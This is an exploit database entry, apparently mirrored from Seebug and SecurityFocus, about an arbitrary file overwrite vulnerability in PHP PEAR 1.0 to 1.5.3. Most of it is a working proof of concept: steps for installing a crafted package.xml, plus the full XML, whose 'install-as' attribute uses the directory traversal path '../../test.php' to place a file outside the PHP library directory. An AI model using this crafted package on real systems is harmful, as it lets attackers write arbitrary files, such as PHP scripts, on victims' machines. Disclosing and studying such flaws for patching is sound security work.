Lucene search
K

PHP PEAR <= 1.5.3 INSTALL-AS Attribute Arbitrary File Overwrite Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

PHP PEAR version 1.0 to 1.5.3 vulnerable to arbitrary file overwrite via 'install-as' attribut

Code

                                                source: http://www.securityfocus.com/bid/24111/info

PEAR is prone to a vulnerability that lets attackers overwrite arbitrary files.

An attacker-supplied package may supply directory-traversal strings through the &#39;install-as&#39; attribute to create and overwrite files in arbitrary locations.

This issue affects PEAR 1.0 to 1.5.3. 

create a file named &#34;INSTALL&#34; and save it in the current directory.
Save the following XML as package.xml, and run &#34;pear install package.xml&#34;

If php_dir is /usr/local/lib/php The file &#34;INSTALL&#34; will be installed into
/usr/local/test.php



&#60;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&#62;
&#60;package version=&#34;2.0&#34; xmlns=&#34;http://pear.php.net/dtd/package-2.0&#34;
xmlns:tasks=&#34;http://pear.php.net/dtd/tasks-1.0&#34;
xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;
xsi:schemaLocation=&#34;http://pear.php.net/dtd/tasks-1.0
http://pear.php.net/dtd/tasks-1.0.xsd
http://pear.php.net/dtd/package-2.0
http://pear.php.net/dtd/package-2.0.xsd&#34;&#62;
 &#60;name&#62;Test_Sec&#60;/name&#62;
 &#60;channel&#62;pear.php.net&#60;/channel&#62;
 &#60;summary&#62;Test security vulnerability&#60;/summary&#62;
 &#60;description&#62;demonstrate install-as vulnerability
 &#60;/description&#62;
 &#60;lead&#62;
  &#60;name&#62;Greg Beaver&#60;/name&#62;
  &#60;user&#62;cellog&#60;/user&#62;
  &#60;email&#62;[email protected]&#60;/email&#62;
  &#60;active&#62;yes&#60;/active&#62;
 &#60;/lead&#62;
 &#60;date&#62;2007-03-05&#60;/date&#62;
 &#60;version&#62;
  &#60;release&#62;1.6.0&#60;/release&#62;
  &#60;api&#62;1.6.0&#60;/api&#62;
 &#60;/version&#62;
 &#60;stability&#62;
  &#60;release&#62;stable&#60;/release&#62;
  &#60;api&#62;stable&#60;/api&#62;
 &#60;/stability&#62;
 &#60;license uri=&#34;http://www.php.net/license&#34;&#62;PHP License&#60;/license&#62;
 &#60;notes&#62;
    allow up to latest beta version [tias]
 &#60;/notes&#62;
 &#60;contents&#62;
  &#60;dir name=&#34;/&#34;&#62;
   &#60;file name=&#34;INSTALL&#34; role=&#34;php&#34; /&#62;
  &#60;/dir&#62; &#60;!-- / --&#62;
 &#60;/contents&#62;
 &#60;dependencies&#62;
  &#60;required&#62;
   &#60;php&#62;
    &#60;min&#62;4.3.0&#60;/min&#62;
   &#60;/php&#62;
   &#60;pearinstaller&#62;
    &#60;min&#62;1.4.3&#60;/min&#62;
   &#60;/pearinstaller&#62;
  &#60;/required&#62;
 &#60;/dependencies&#62;
 &#60;phprelease&#62;
  &#60;filelist&#62;
   &#60;install as=&#34;../../test.php&#34; name=&#34;INSTALL&#34; /&#62;
  &#60;/filelist&#62;
 &#60;/phprelease&#62;

&#60;/package&#62;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15